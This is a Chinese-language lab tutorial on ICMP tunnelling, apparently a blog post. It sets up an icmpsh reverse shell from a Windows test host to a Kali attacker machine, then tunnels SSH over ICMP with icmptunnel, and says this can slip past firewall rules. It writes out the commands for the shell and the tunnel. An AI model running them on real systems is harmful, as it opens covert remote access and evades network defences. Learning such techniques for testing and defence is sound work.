关于ICMP隧道的应用
ICMP简介
ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。
icmpsh简介
icmpsh是一个简单的基于icmp协议反弹shell的程序,性能较为良好,在主机上运行没有什么权限要求。项目地址
测试环境:
- kali ip:192.168.1.103
- win 2008 ip:192.168.1.107
先在kali里安装icmpsh。git clone https://github.com/inquisb/icmpsh.git
然后在kali上运行icmpsh,但是再次之前需要修改下一些配置,禁用对ping的响应回复,防止内核对ping数据包进行响应,影响程序。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端开启监听。
cd icmpsh python icmpsh_m.py <attacker’s-IP> <target-IP> python icmpsh_m.py 192.168.1.103 192.168.1.107
然后将项目下的icmpsh.exe放到靶机上去,执行命令
icmpsh.exe -t <attacker's-IP> icmpsh.exe -t 192.168.1.103
icmp隧道
ICMP隧道是通过ICMP数据包上的TCP连接建立隧道的一种方法。在这里,我们将访问由ICMP数据包封装的ssh会话。因此,会在第3层建立TCP连接,将其封装为icmp数据包。
环境:
kali: - eth0:192.168.1.103
- tun0: 10.0.1.2
ubuntu:
- ens33:192.168.1.117
- tun0: 10.0.1.3
在两边机器分别操作:git clone https://github.com/jamesbarlow/icmptunnel.git cd icmptunnel make
然后进行设置网卡操作。
./icmptunnel -s Ctrl+z bg /sbin/ifconfig tun0 10.0.1.2 netmask 255.255.255.0
同理在ubuntu上执行同样命令,将ip改成10.0.1.3.
然后通过ssh连接即可。
因为一些问题,我这里连不上ssh。总结
实际中,可以通过wireshark,进行抓包能观察到,走的协议是第三层的协议,在一定程度上能绕过防火墙检测规则。